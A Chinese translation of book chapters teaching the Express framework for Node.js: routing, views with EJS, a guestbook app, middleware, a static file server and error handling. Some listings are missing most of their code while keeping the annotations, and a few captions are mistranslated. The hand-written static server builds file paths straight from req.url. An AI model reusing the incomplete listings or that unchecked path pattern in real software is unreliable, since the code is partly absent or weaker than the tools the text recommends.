A 这指定了路由中的"hello"部分是固定的,但之后的字符串可以变化。

B req.params有一个名为"who"的属性。这并不是巧合,它也是上面指定路由的名称。Express 将从传入的 URL 中提取值并将其设置为指定的名称。

重新启动你的服务器,访问localhost:3000/hello/earth以获取以下消息:

你好,地球。

注意,如果你添加一个斜杠,比如localhost:3000/hello/entire/earth将会返回一个 404 错误。

你很可能在网上到处都见过这种行为。例如,你可能见过可以访问特定用户 URL 的网站。例如,如果你的用户名是 ExpressSuperHero,你的用户页面 URL 可能看起来像这样:

https://mywebsite.com/users/ExpressSuperHero

Express 允许我们这样做。而不是为每个可能的用户名(或文章、照片,或任何东西)定义一个路由,你可以定义一个匹配所有这些的路由。

文档还展示了一个使用正则表达式进行更复杂匹配的示例,你可以用这个路由做很多其他的事情。为了概念上的理解,我已经说得足够多了。我们将在第五章中更详细地探讨这一点。

但这更酷。

3.3 扩展请求和响应

Express 增强了你传递给每个请求处理函数的请求和响应对象。旧的内容还在那里,但 Express 也添加了一些新的内容!API 文档(在expressjs.com/api.html)解释了一切,但让我们看看几个例子。

Express 提供的一个优点是重定向方法。列表 3.12 展示了重定向方法可能的工作方式:

列表 3.12 使用重定向

response.redirect("/hello/world"); response.redirect("http://expressjs.com");

如果我们只是使用 Node.js,response 将没有名为 redirect 的方法;Express 为我们添加了它到响应对象中。你可以在原生 Node.js 中这样做,但需要更多的代码。

Express 还添加了 sendFile 这样的方法,允许你发送整个文件:

列表 3.13 sendFile 示例

response.sendFile("/path/to/cool_song.mp3");

再次强调,sendFile 方法在原生 Node.js 中不可用;Express 为我们添加了它。就像上面的重定向示例一样,你可以在原生 Node.js 中这样做,但需要更多的代码。

不仅响应对象得到了便利,请求对象也得到了许多其他酷炫的属性和方法,如 request.ip 获取 IP 地址或 request.get 方法获取传入的 HTTP 头部。

让我们使用这些功能来构建一些中间件,以阻止一个恶意 IP 地址。Express 使这变得非常简单:

列表 3.14 黑名单 IP

var express = require("express"); var app = express(); var EVIL_IP = "123.45.67.89"; app.use(function(request, response, next) {   if (request.ip === EVIL_IP) {     response.status(401).send("Not allowed!");   } else {     next();   } }); // ... 你的应用其余部分 ...

注意,我们在这里使用了 req.ip,一个名为 res.status() 的函数,以及 res.send()。这些都不是 Node.js 的原生功能——它们都是 Express 添加的扩展。

从概念上讲,这里没有太多需要了解的,除了 Express 扩展了请求和响应的事实。

我们在本章中已经看到了一些优点,但我不想在这里列出全部。对于 Express 提供的每一个优点,请查看其 API 文档expressjs.com/4x/api.html

3.4 视图

网站是用 HTML 构建的。它们已经这样做了很长时间。虽然单页应用很流行(并且完全可以用 Express 实现),但通常你希望服务器动态生成 HTML。你可能想要提供问候当前登录用户的 HTML,或者可能想要动态生成一个数据表。

目前市面上有多种不同的视图引擎。有 EJS(代表“嵌入式 JavaScript”)、Handlebars、Jade 以及更多。甚至还有从其他编程世界移植的模板语言,如 Swig 和 HAML。它们都有一个共同点:最终都会输出 HTML。

对于接下来的示例,我们将使用 EJS。我选择 EJS 是因为它是由 Express 的创造者团队开发的一个流行的选项。希望你会喜欢它,但如果不喜欢,第七章中我们将讨论许多其他替代方案。

下面是设置视图的示例:

列表 3.15 使用 Express 设置视图

var express = require("express"); var path = require("path"); var app = express(); app.set("views", path.resolve(__dirname, "views")); #A app.set("view engine", "ejs"); #B

A 这告诉 Express,你的视图将放在一个名为 views 的文件夹中。我们也可以将其放在另一个路径,但 "views" 是一个常见的名称。

B 这告诉 Express,你将使用 EJS 模板引擎。

我们很快会向这个文件添加更多内容。

第一个块和以前一样:引入我们需要的东西。然后我们说 "我们的视图在一个名为 views 的文件夹中"。之后,我们说 "使用 EJS"。EJS(文档在 github.com/tj/ejs)是一种模板语言,它编译成 HTML。确保使用 npm install ejs --save 安装它。

现在,我们在 Express 端设置了这些视图。我们如何使用它们?这个 EJS 是什么意思?

让我们从创建一个名为 index.ejs 的文件开始,并将其放入一个名为 views 的目录中。它可能看起来像这样:

列表 3.16 一个简单的 EJS 文件

<!DOCTYPE html> <html>   <head>     <meta charset="utf-8">     <title>Hello, world</title>   </head> <body>   <%= message %> </body>``</html>

这应该看起来完全像 HTML,但在 body 标签内的一个奇怪部分。EJS 是 HTML 的超集,所以所有有效的 HTML 都是有效的 EJS。但 EJS 还增加了一些新特性,比如变量插值。<%= message %> 将插值一个名为 message 的变量,这是我们将在从 Express 渲染视图时传递的。下面是这个样子的:

列表 3.17 使用 Express 渲染视图

app.get("/", function(request, response) {   response.render("index", {     message: "Hey everyone! This is my webpage."   });``});

Express 向 response 添加了一个名为 render 的方法。它基本上查看视图引擎和视图目录(我们之前定义的),并使用你传递的变量渲染 index.ejs

列表 3.18 中的代码将渲染以下 HTML:

列表 3.18 一个简单的 EJS 文件,已渲染

<!DOCTYPE html> <html>   <head>     <meta charset="utf-8">     <title>Hello, world</title>   </head> <body>   Hey everyone! This is my webpage. #A </body>``</html>

A 注意,这是我们上面在 render 方法中指定的变量。

EJS 是一个流行的视图解决方案,但还有许多其他选项。

我们将在后面的章节中探索其他选项。

3.5 示例:在留言簿中综合运用所有内容

如果你像我一样,你曾在互联网的早期看到过它;尴尬的动画 GIF,糟糕的代码,以及每个页面上的 Times New Roman。在本章中,我们将从这个过去的时代复活一个组件:留言簿。留言簿相当简单:用户可以在在线留言簿中写入新的条目,并且可以浏览他人的条目。

让我们运用所学的一切来为这个留言簿构建一个更真实的应用。结果证明,所有这些都会派上用场!我们的网站将有两个页面:

1.  一个列出所有之前发布的留言簿条目的主页

2.  一个带有“添加新条目”表单的页面

就这样!在我们开始之前,我们必须先设置好。准备好了吗?

3.5.1  准备设置

让我们开始一个新的项目。创建一个新的文件夹,并在其中创建一个名为package.json的文件。它应该看起来像这样:

列表 3.19 guestbook 的package.json

{   "name": "express-guestbook",   "private": true,   "scripts": {     "start": "node app"  #A   }``}

A 在终端中键入 "npm start" 将会运行 "node app",这将启动您的应用程序。

您可以添加其他字段(如作者或版本),但在这个例子中,我们不需要太多。现在,让我们像之前一样安装我们的依赖项,并将它们保存到package.json中:

npm install express morgan body-parser ejs --save

这些模块对您来说应该很熟悉,除了body-parser。我们的应用程序将需要在 HTTP POST 请求中发布新的留言簿条目,因此我们需要解析 POST 请求的正文;这就是 body 的作用所在。

确保 Express、Morgan、body-parser 和 EJS 已经被保存到package.json中。如果没有,请确保您已经添加了--save标志。

3.5.2  主要应用程序代码

现在我们已经安装了所有的依赖项,创建app.js并将以下应用程序放入其中:

列表 3.20 Express 留言簿,在app.js

var http = require("http");               #A var path = require("path");               #A var express = require("express");         #A var logger = require("morgan");           #A var bodyParser = require("body-parser");  #A

A 首先,我们要求所有需要的模块,就像之前一样。

B 接下来,我们创建一个 Express 应用程序,就像我们之前做的那样。

C 第一行告诉 Express 视图位于名为 views 的文件夹中,下一行说明视图将使用 EJS 引擎。

D 创建一个 "全局" 数组来存储我们所有的条目。

E 使此 entries 数组在所有视图中可用。

F 使用 Morgan 记录每个请求。

G 如果用户提交表单,则此中间件将填充一个名为 req.body 的变量。(需要扩展选项,我们选择 false 以获得轻微的安全优势。我们将在第十章中详细讨论原因。)

H 访问网站根目录时,渲染主页(它将在 views/index.ejs 中)。

I 当获取 URL 时,渲染 "new entry" 页面(在 views/index.ejs 中)。

J 当我们向 "new entry" URL 发送 POST 请求时,定义一个路由处理器。注意,这是相同的 URL,但不同的 HTTP 方法。

K 如果用户提交的表单没有标题或内容(我们从 req.body 中读取),则返回一个 400 "bad request" 错误。

L 将标题、正文和发布时间添加到条目列表中。

M 最后,重定向回主页以查看您的新条目。

N 没有其他请求处理器发生,这意味着我们正在尝试请求一个未知资源。渲染 404 页面。

O 在端口 3000 上启动服务器!

3.5.3 创建视图

我们在这里引用了一些视图,所以让我们来填充这些内容。创建一个名为 views 的文件夹,然后在 views/header.ejs 中创建标题:

列表 3.21 header.ejs

<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Express Guestbook</title> <link rel="stylesheet" href="//maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css">  #A </head> <body class="container">   <h1>     Express Guestbook     <a href="/new-entry" class="btn btn-primary pull-right">       在留言簿中写点什么     </a>   </h1>

A 此代码从 Bootstrap CDN 加载 Twitter 的 Bootstrap CSS,这是一个为您的方便而托管 Bootstrap 的外部服务器。

注意,我们使用 Twitter Bootstrap 进行样式设计,但你也可以轻松地用你自己的 CSS 替换它。最重要的是,这是头部;此 HTML 将出现在每个页面的顶部。

注意:简而言之,Bootstrap 是一些 CSS 和 JavaScript 的集合,它提供了一系列默认样式。你完全可以自己编写导航栏、按钮和标题 CSS,但 Bootstrap 帮助我们快速启动。你可以在 http://getbootstrap.com/ 上了解更多信息。

接下来,创建一个简单的页脚在 views/footer.ejs,它将出现在每个页面的底部:

列表 3.22 footer.ejs

</body> </html>

现在我们已经定义了常见的头部和页脚,让我们定义三个视图:主页、添加新条目的页面和 404 页面。

将以下内容保存到 views/index.ejs

列表 3.23 index.ejs

<% include header %> <% if (entries.length) { %>   <% entries.forEach(function(entry) { %>     <div class="panel panel-default">       <div class="panel-heading">         <div class="text-muted pull-right">           <%= entry.published %>         </div>         <%= entry.title %>       </div>       <div class="panel-body">         <%= entry.content %>       </div>     </div>   <% }) %> <% } else { %>   没有条目! <a href="/new-entry">添加一个!</a> <% } %> <% include footer %>

...以下内容保存到 views/new-entry.ejs...

列表 3.24 new-entry.ejs

<% include header %> <h2>写一篇新条目</h2> <form method="post" role="form">   <div class="form-group">     <label for="title">标题</label>     <input type="text" class="form-control" id="title"     [CA]name="title" placeholder="条目标题" required>   </div>   <div class="form-group">     <label for="content">条目文本</label>     <textarea class="form-control" id="content" name="content"     [CA]placeholder="爱的表达!这是一个构建网站的好工具。" rows="3" required></textarea>   </div>   <div class="form-group">     <input type="submit" value="发布条目" class="btn btn-primary">   </div> </form>  <% include footer %>

...最后,将以下内容放入views/404.ejs

列表 3.25 404.ejs

<% include header %> <h2>404! 页面未找到。</h2>``<% include footer %>

那就是您所有的视图!

3.5.4  启动它!

现在,使用npm start启动您的应用,并访问http://localhost:3000,查看我们的客户留言。

图 3.4 客户留言主页

图 3.5 客户留言主页

看看这个!多漂亮的迷你留言簿。它让我想起了 20 世纪 90 年代。

让我们回顾一下这个小项目的不同部分:

· 我们使用一个中间件函数来记录所有请求,这有助于我们进行调试。我们还在最后使用一个中间件来服务 404 页面。

· 我们使用 Express 的路由将用户导向主页、“添加新条目”视图以及添加新条目的 POST 请求。

· 我们使用 Express 和 EJS 来渲染页面。它允许我们动态创建 HTML;我们使用这个功能来动态显示内容。

3.6     总结

在本章中,您看到了以下内容:

· Express 是一个位于 Node 之上的库,它抽象了很多复杂性

· Express 有四个主要特性:

· 允许请求通过多个头部的中间件

  • 在特定位置处理请求的路由

  • 便捷方法和属性

  • 用于动态渲染 HTML 的视图

· 许多模板引擎已被移植到与 Express 一起使用。其中一个流行的是 EJS,对于已经了解 HTML 的人来说,它是最简单的。

4 中间件

在没有像 Express 这样的框架的情况下,Node.js 给你一个相当简单的 API。创建一个处理请求的函数,将其传递给 http.createServer,然后就可以使用了。虽然这个 API 很简单,但随着你的应用程序的增长,你的请求处理函数可能会变得难以控制。

Express 通过使用称为中间件的东西来帮助缓解这些问题。它这样做的一种方式是,对于没有框架的 Node,它让你为整个应用程序编写一个单一的大型请求处理函数,而中间件允许你将这些请求处理函数分解成更小的部分。这些较小的函数通常一次处理一件事情。一个可能会记录所有进入服务器的请求;另一个可能会解析传入请求的特殊值;另一个可能会验证用户身份。

在本章中,我们将学习:

·  中间件是什么

·  请求如何通过 Express 中间件;"中间件栈"

·  如何使用中间件

·  如何编写你自己的中间件

·  有用的第三方 Express 中间件

从概念上讲,中间件是 Express 的最大部分。最终,你写的绝大多数 Express 代码都是以某种方式作为中间件。希望在本章之后,你会明白为什么!

4.1 中间件和中间件栈

最终,Web 服务器监听请求,解析这些请求,并发送响应。

Node 运行时首先获取这些请求。它将那些请求从原始字节转换为你可以处理的两个 JavaScript 对象:一个用于请求,一个用于响应。传统上,请求对象称为 req,响应对象称为 res

图 4.1:当单独使用 node.js 时,我们有一个函数,它提供了一个表示传入请求的请求对象和一个表示节点应发送回客户端的响应对象的响应对象。

这两个对象将被发送到你将编写的 JavaScript 函数。你将解析 req 来查看用户想要什么,并通过操作 res 来准备你的响应。

一段时间后,你将完成对响应的写入。当这种情况发生时,你会调用 res.end。这向 Node 发出信号,表示响应已经全部完成,准备好通过网络发送。Node 运行时会查看你对响应对象所做的操作,将其转换为另一组字节,并通过互联网发送给请求者。

在 Node 中,这两个对象只通过一个函数传递。然而,在 Express 中,这些对象通过一个函数数组传递,称为中间件栈。Express 将从栈中的第一个函数开始,并按顺序向下执行。

图 4.2 在 Express 中工作,一个请求处理函数被替换为中间件函数栈。

堆栈中的每个函数都接受三个参数。前两个是之前的请求和响应对象。它们由 Node 提供,尽管 Express 在前一章中讨论的额外便利功能中装饰了它们。

这些函数的第三个参数本身也是一个函数(通常称为 next)。当调用 next 时,Express 将继续到堆栈中的下一个函数。

图 4.3:所有中间件函数具有相同的签名,包含三个函数:响应、请求和下一个。

最终,堆栈中的这些函数之一必须调用 res.end,这将结束请求。(在 Express 中,你也可以调用一些其他方法,如 res.sendres.sendFile,但它们内部调用 res.end。)你可以在中间件堆栈中的任何函数中调用 res.end,但你只能调用一次,否则你会得到一个错误。

这可能有点抽象和模糊。让我们通过构建自己的静态文件服务器来查看这个例子是如何工作的。

4.2 示例应用:静态文件服务器

让我们构建一个简单的应用程序,从文件夹中提供文件。你可以在这个文件夹中放置任何东西,它将被提供——HTML 文件、图片,或者你唱的 Celine Dion 的 "My Heart Will Go On" 的 MP3。

这个文件夹将被称为 "static" 并位于我们的项目目录中。如果有一个名为 celine.mp3 的文件,并且用户访问 /celine.mp3,我们的服务器应该通过互联网发送那个 MP3 文件。如果用户请求 /burrito.html,文件夹中不存在这样的文件,我们的服务器应该发送一个 404 错误。

另一个要求:我们的服务器应该记录每个请求,无论成功与否。它应该记录用户请求的 URL 和请求的时间。

这个 Express 应用程序将由中间件堆栈上的三个函数组成:

  1. 记录器。这将把请求的 URL 和请求的时间输出到控制台。它将始终继续到下一个中间件(从代码的角度来看,它将始终调用 next)。

  2. 静态文件发送器。这将检查文件是否在文件夹中。如果是,它将通过互联网发送该文件。如果请求的文件不存在,它将继续到最后一个中间件(再次调用 next)。

  3. 404 处理器。如果这个中间件被触发,这意味着之前的中间件没有找到文件,我们应该返回一个 404 消息并完成请求。

  4. 你可以将这个中间件堆栈可视化如下:

图 4.4 我们静态文件服务器应用程序的中间件堆栈。

  1. 好了,别再说了。让我们开始构建这个。

4.2.1 设置环境

首先创建一个新的目录。你可以随意命名;让我们选择 static-file-fun。在这个目录内部,创建一个名为 package.json 的文件。这个文件存在于每个 Node.js 项目中,描述了你的包的元数据,从标题到第三方依赖项。

列表 4.1 我们静态文件应用程序的 package.json 文件

{   "name": "static-file-fun",   #A   "private": true,             #B   "scripts": {     "start": "node app.js"     #C   }``}

A “name”键定义了你的包名。对于私有项目(见 #B),这不是必需的,但我们会添加它。

B “private”键告诉 Node,这个包不应该发布在公共 Node 模块注册表中。对于你自己的个人项目,这应该设置为 "true"。

C 当你运行“npm start”时,它将运行“node app.js”。

保存这个 package.json 文件后,你将想要安装 Express 的最新版本。在这个目录内部,运行 npm install express --save。这将把 Express 安装到这个文件夹内名为 node_modules 的目录中。它还会在 package.json 中添加 Express 作为依赖项。package.json 现在看起来像这样:

列表 4.2 我们静态文件应用程序更新的 package.json 文件

{   "name": "static-file-fun",   "private": true,   "scripts": {     "start": "node app.js"   },   "dependencies": {     "express": "⁴.12.2"  #A   }``}

A 你的依赖项版本可能不同。

接下来,在这个新项目目录内(紧挨着 package.json)创建一个名为 "static" 的文件夹。在里面放一些文件;可能是一个 HTML 文件或一张图片。这里放什么并不重要,但放一些你的示例应用程序将提供的服务文件。

最后,在项目的根目录中创建 app.js,它将包含我们应用程序的所有代码。你的文件夹结构将看起来像这样:

图 4.5 静态文件乐趣的目录结构。

当你想运行这个应用程序时,你会运行 npm start。这个命令将查看你的 package.json 文件,看到你添加了一个名为 "start" 的脚本,并运行该命令。在这种情况下,它将运行 node app.js

运行 npm start 目前不会做任何事情——我们还没有编写应用程序!——但你会每次想要运行应用程序时都运行它。

为什么使用 npm start?

你可能想知道为什么我们甚至使用了 npm start——为什么我们不直接运行 node app.js?我们可能这样做有三个原因。

首先,这是一个约定。大多数 Node 网络服务器都可以用 npm start 启动,无论项目的结构如何。如果有人选择了 application.js 而不是 app.js,你就必须知道这个变化。Node 社区似乎在这里已经达成了一致。

其次,它允许你用一个相对简单的命令(或一组命令)运行更复杂的命令。我们的应用程序现在很简单,但启动它可能会更复杂。也许我们需要启动一个数据库服务器或清除一个巨大的日志文件。将这种复杂性隐藏在一个简单的命令之下有助于保持事物的一致性和愉悦性。

第三个原因稍微复杂一些。npm 允许你全局安装包,因此你可以像运行任何其他终端命令一样运行它们。Bower 是一个常见的例子,它允许你使用新安装的bower命令从命令行安装前端依赖。你可以在系统上全局安装像 Bower 这样的东西。npm 脚本允许你向项目添加新命令而不需要全局安装,这样你就可以将所有依赖项都保留在项目内部,以便每个项目都有独特的版本。这个原因对于测试和构建脚本等用途非常有用,正如我们稍后将会看到的。

最后,你只需运行node app.js就不再需要输入npm start,但我发现上面的理由足够有说服力去这样做。

好的。让我们编写这个应用!

4.2.2 编写我们的第一个中间件函数:记录器

我们将首先让我们的应用记录请求,以便开始。

将以下内容放入app.js中:

列表 4.3 启动用于我们的静态文件服务器的 app.js

var express = require("express");  #A var path = require("path");        #A var fs = require("fs");            #A var app = express();   #B app.use(function(req, res, next) {                     #C   console.log("Request IP: " + req.url);               #C   console.log("Request date: " + new Date());          #C });                                                    #C app.listen(3000, function() {               #D   console.log("App started on port 3000");  #D``});                                         #D

A 需要我们需要的模块。在这个例子中,我们将使用 Express,但很快我们将使用 Node 的内置 Path 和文件系统("fs")模块。

B 创建一个新的 Express 应用并将其放入“app”变量中。

C 这个中间件记录了所有传入的请求。但是,它有一个 bug!

D 在端口 3000 上启动应用,并在启动时记录!

目前,我们只有一个记录服务器接收到的每个请求的应用程序。一旦我们设置了我们的应用(前几行),我们就调用app.use来向我们的应用程序的中间件堆栈添加一个函数。当一个请求进入这个应用程序时,该函数将被调用。

不幸的是,即使这个简单的应用也有一个关键的 bug。运行npm start并在浏览器中访问localhost:3000以查看它。

你会看到请求被记录到控制台,这是个好消息。但你的浏览器会卡住——加载指示器会一直旋转,直到请求最终超时,你在浏览器中会得到一个错误。这可不是什么好事!

这是因为我们没有调用next

当你的中间件函数完成后,它需要做两件事之一:

  1. 函数需要完成对请求的响应(使用res.end或 Express 的便利方法之一,如res.sendres.sendFile)。

  2. 函数需要调用next以继续到中间件堆栈中的下一个函数。

如果你做其中之一,你的应用程序将正常工作。如果你两者都不做,入站请求将永远不会收到响应;它们的加载指示器将永远不会停止旋转(这就是上面发生的事情)。如果你两者都做,只有第一个“响应完成器”会通过,其余的将被忽略,这几乎肯定是不故意的!

这些错误一旦你知道如何查找通常很容易捕捉到。如果你没有响应请求,也没有调用next,那么你的服务器看起来会非常慢。

让我们通过调用next来修复我们的中间件。

列表 4.4 修复我们的日志中间件

// … app.use(function(req, res, next) {   console.log("请求 IP: " + req.url);   console.log("请求日期: " + new Date());   next();   #A }); // …

A 这是一条关键的新行!

现在,如果你停止你的应用程序,再次运行npm start,并在浏览器中访问localhost:3000,你应该看到你的服务器正在记录所有请求并立即显示错误消息(例如“Cannot GET /”)。因为我们从未自己响应请求,Express 将向用户显示错误,并且这会立即发生。

厌倦了重启服务器?

到目前为止,当你更改代码时,你必须停止服务器并重新启动它。这可能会变得重复!你可以安装一个名为 Nodemon 的工具。Nodemon 会监视你的所有文件以检测更改,并在检测到任何更改时重新启动。

您可以通过运行npm install nodemon --global来安装 Nodemon。

安装完成后,你可以通过在命令中将“node”替换为“nodemon”来以监视模式启动文件。例如,如果你之前输入了node app.js,只需将其更改为nodemon app.js,你的应用程序在更改时将连续重新加载。

现在我们已经编写了日志记录器,接下来让我们编写下一部分——静态文件服务器中间件。

4.2.3 静态文件服务器中间件

从高层次来看,静态文件服务器中间件应该执行以下操作:

  1. 检查请求的文件是否存在于静态目录中。

  2. 如果文件存在,响应该文件并结束。在代码中,这相当于调用res.sendFile

  3. 如果文件不存在,继续处理堆栈中的下一个中间件。在代码中,这相当于调用next

让我们将这个需求转化为代码。我们首先自己构建它以了解其工作原理,然后使用一些有用的第三方代码来简化它。

我们将利用 Node 的内置path模块,这将使我们能够确定用户请求的路径。为了确定文件是否存在,我们将使用另一个 Node 内置模块:fs模块。

app.js中你的日志中间件之后添加以下内容:

列表 4.5 将静态文件中间件添加到中间件堆栈中

// … app.use(function(req, res, next) {   // … }); app.use(function(req, res, next) {   var filePath = path.join(__dirname, "static", req.url);  #A   fs.exists(filePath, function(exists) {                      #B     if (exists) {       #C       res.sendFile(filePath);                           #C     } else {                                           #D       next();                                           #D     }   }); }); app.listen(3000, function() {``  // …

使用path.join来找到文件应该存在的路径(无论它是否存在)。

使用内置的fs.exists将调用你的回调来确定你的文件是否存在。

如果文件存在,调用res.sendFile

否则,继续到下一个中间件。

在这个函数中,我们首先使用path.join来确定文件的路径。如果用户访问/celine.mp3req.url将是字符串"/celine.mp3"。因此,filePath将类似于"/path/to/your/project/static/celine.mp3"。路径将根据你存储项目的地方和你的操作系统而有所不同,但它将是请求的文件的路径。

接下来,我们调用fs.exists。这是一个接受两个参数的函数。第一个是要检查的路径(我们刚刚计算出的filePath),第二个是一个函数。当 Node 确定文件是否存在时,它将使用一个参数调用这个回调:true(文件存在)或false(文件不存在)。

表达式应用始终具有这种异步行为。这就是我们最初必须要有next的原因!如果一切都是同步的,Express 将确切知道每个中间件在哪里结束:当函数完成时(无论是通过调用return还是遇到末尾)。我们不需要在任何地方有next。但是因为事情是异步的,我们需要手动告诉 Express 何时继续到堆栈中的下一个中间件。

一旦回调完成,我们运行一个简单的条件判断。如果文件存在,发送文件。否则,继续到下一个中间件。

现在,当你使用npm start运行你的应用时,尝试访问你放入静态文件目录中的资源。如果你在静态文件文件夹中有一个名为secret_plans.txt的文件,访问localhost:3000/secret_plans.txt来查看它。你也应该继续看到日志,就像之前一样。

如果你访问一个没有对应文件的 URL,你仍然应该看到之前的错误消息。这是因为你在调用next,并且堆栈中没有更多的中间件。让我们添加最后一个——404 处理器。

4.2.4 404 处理器中间件

404 处理器是我们中间件堆栈中的最后一个函数。它将始终发送一个 404 错误,无论什么情况。在之前的中间件之后添加这个:

列表 4.6 我们最终的中间件:404 处理器

// … app.use(function(req, res) {   #A   res.status(404);             #B   res.send("File not found!"); #C }); // …

A 我们省略了 "next" 参数,因为我们不会使用它。

B 设置状态码为 404。

C 发送错误 "文件未找到!"

这是拼图的最后一部分。

现在,当你启动你的服务器时,你将看到整个过程的实际效果!如果你访问文件夹中的文件,它将显示出来。如果没有,你将看到你的 404 错误。而且在这个过程中,你将在控制台看到日志。

暂时尝试移动 404 处理器。将其设置为堆栈中的第一个中间件而不是最后一个。如果你重新运行你的应用程序,你会发现无论什么情况下你都会得到一个 404 错误。你的应用程序触发了第一个中间件并且永远不会继续。中间件堆栈的顺序很重要——确保请求以正确的顺序流动。

我们的应用程序工作!以下是它应该看起来像什么:

列表 4.7 我们静态文件应用的第一个版本(app.js)

var express = require("express"); var path = require("path"); var fs = require("fs"); var app = express(); app.use(function(req, res, next) {   console.log("请求 IP: " + req.url);   console.log("请求日期: " + new Date());   next(); }); app.use(function(req, res, next) {   var filePath = path.join(__dirname, "static", req.url);   fs.exists(filePath, function(exists) {     if (exists) {       res.sendFile(filePath);     } else {       next();     }   }); }); app.use(function(req, res) {   res.status(404);   res.send("文件未找到!"); }); app.listen(3000, function() {   console.log("应用程序在端口 3000 上启动");``});                                        

但就像往常一样,我们还可以做更多。

4.2.5 将我们的日志记录器切换到开源的 Morgan

软件开发中常见的建议是 "不要重复造轮子"。如果别人已经解决了你的问题,你应该采用他们的解决方案,然后去做更好的事情。

这就是我们将在我们的日志记录中间件中做的事情。我们将移除我们投入的辛勤工作(所有五行),并使用一个名为 Morgan 的中间件(在 github.com/expressjs/morgan)。它不是 Express 核心的一部分,但它由 Express 团队维护。

Morgan 自称为 "请求记录中间件",这正是我们想要的!

要安装它,运行 npm install morgan --save 以安装 Morgan 包的最新版本。你将在 node_modules 中的一个新文件夹中看到它,它也会出现在 package.json 中。

现在,让我们将 app.js 更改为使用 Morgan 而不是我们的日志记录中间件。

列表 4.8 使用 Morgan 的 app.js

var express = require("express");  #A var morgan = require("morgan");    #B // … var app = express(); app.use(morgan("short"));  #C // …

A 需要 Express,就像之前一样。

B 需要 Morgan。

C 使用 Morgan 中间件而不是我们之前使用的中间件。

现在,当你运行这个应用时,你会看到类似于图 4.6 的输出,包括 IP 地址和其他一些有用的信息。

图 4.6 添加 Morgan 后我们应用日志。

那么,这里发生了什么?

morgan 是一个返回中间件函数的函数。当你调用它时,它将返回一个类似于你之前写的函数;它将接受 3 个参数并调用 console.log。大多数第三方中间件都是这样工作的——你调用一个函数,该函数返回中间件,然后你使用它。你可以像这样编写上面的代码:

列表 4.9 Morgan 的另一种用法

var morganMiddleware = morgan("short"); app.use(morganMiddleware);

注意,我们调用 Morgan 时传递了一个参数:一个字符串,"short"。这是一个 Morgan 特定的配置选项,它决定了输出应该是什么样子。还有其他格式字符串,包含或多或少的信息。"combined" 提供了很多信息——“tiny”则提供了非常少的输出。当你用不同的配置选项调用 Morgan 时,实际上是在让它返回一个不同的中间件函数。

Morgan 是我们将要使用的第一个开源中间件示例,但在这本书中我们会使用很多。我们将使用另一个中间件来替换我们的第二个中间件函数:静态文件服务器。

4.2.6 切换到 Express 内置的静态文件中间件

与 Express 打包在一起的中间件只有一个,它替换了我们的第二个中间件。

它被称为 express.static。它的工作方式与我们所写的中间件非常相似,但它有很多其他功能。它通过一系列复杂的技巧来实现更好的安全性和性能。例如,它添加了一个缓存机制。如果你对其更多好处感兴趣,可以阅读我关于中间件的博客文章,链接为 evanhahn.com/express-dot-static-deep-dive/

与 Morgan 一样,express.static 是一个返回中间件函数的函数。它接受一个参数:我们将用于静态文件的文件夹的路径。为了获取这个路径,我们将使用 path.join,就像之前一样。然后我们将它传递给静态中间件。

用这个替换你的静态文件中间件:

列表 4.10 使用 Express 替换我们的静态文件中间件

// … var staticPath = path.join(__dirname, "static"); #A app.use(express.static(staticPath)); #B // …

A 将静态路径放入变量中。

B 使用 express.static 从静态路径提供文件服务。

因为它有更多功能,所以稍微复杂一些,但 express.static 函数与之前我们所拥有的非常相似。如果文件存在于该路径,它将发送该文件。如果不存在,它将调用 next 并继续到堆栈中的下一个中间件。

如果你重新启动你的应用程序,你不会在功能上注意到太大的差异,但你的代码将会更短。因为你使用的是经过实战检验的中间件而不是你自己的,你也会得到一个更可靠的特性集。

现在我们的应用程序代码看起来是这样的:

图 4.11 我们静态文件应用程序的下一个版本(app.js)

var express = require("express"); var morgan = require("morgan"); var path = require("path");

我想我们现在可以称我们的 Express 驱动的静态文件服务器已经完成了。做得好,英雄。

4.3 错误处理中间件

记得我之前说过调用next会继续到下一个中间件吗?我撒谎了。这基本上是正确的,但我不想让你困惑。

中间件有两种类型。

我们到目前为止一直在处理第一种类型;这些只是接受三个参数(有时当next被丢弃时为两个)的常规中间件函数。大多数时候,你的应用程序处于“正常模式”,这只会查看这些中间件函数并跳过其他。

另有一种类型的使用得较少:错误处理中间件。当你的应用程序处于“错误模式”时,所有常规中间件都被忽略,Express 将只执行错误处理中间件函数。要进入“错误模式”,只需带参数调用next。通常的做法是带一个错误调用它,例如next(new Error("发生了某些糟糕的事情!"))

这些中间件函数接受四个参数而不是两个或三个。第一个是错误(传递给next的参数),其余的是之前的三个:reqresnext。你可以在这个中间件中做任何你想做的事情。当你完成时,它就像其他中间件一样:你可以调用res.endnext。不带参数调用next将退出“错误模式”并移动到下一个正常中间件;带参数调用它将进入下一个错误处理中间件(如果存在)。

例如,假设你连续有四个中间件函数。前两个是正常的,第三个处理错误,第四个是正常的。如果没有发生错误,流程将类似于以下这样:

图 4.7 如果一切顺利,错误处理中间件将被跳过。

如果没有发生错误,它将好像错误处理中间件从未存在过。为了更精确地重申,“没有错误”意味着“next从未被带参数调用”。如果确实发生了错误,那么 Express 将跳过所有其他中间件,直到堆栈中的第一个错误处理中间件。它可能看起来像这样:

图 4.8 如果发生错误,Express 将直接跳转到错误处理中间件。

虽然没有强制要求,但错误处理中间件通常放在中间件堆栈的末尾,在所有正常中间件添加完毕之后。这是因为你想要捕获从堆栈中早期阶段传下来的任何错误。

这里没有捕获

Express 的错误处理中间件不处理使用 throw 关键字抛出的错误,只有当你用参数调用 next 时才会处理。

Express 为这些异常提供了一些保护措施。应用将返回一个 500 错误,并且该请求将失败,但应用将继续运行。然而,一些错误,如语法错误,可能会导致服务器崩溃。

假设你正在编写一个非常简单的 Express 应用,该应用只是向用户发送图片,无论什么情况。我们就像之前一样使用 res.sendFile。这个简单应用可能看起来是这样的:

列表 4.12 一个总是发送文件的简单应用

var express = require("express"); var path = require("path"); var app = express(); var filePath = path.join(__dirname, "celine.jpg"); #A app.use(function(req, res) {   res.sendFile(filePath); }); app.listen(3000, function() {   console.log("App started on port 3000");``});

A 这将指向一个与该文件在同一文件夹中的名为 celine.jpg 的文件。

这段代码应该看起来像是上面构建的静态文件服务器的简化版本。它将无条件地将 celine.jpg 发送到互联网上。

但如果由于某种原因,该文件在你的电脑上不存在怎么办?如果由于其他奇怪的问题而难以读取文件怎么办?我们希望有一种方法来处理这种错误。错误处理中间件来拯救!

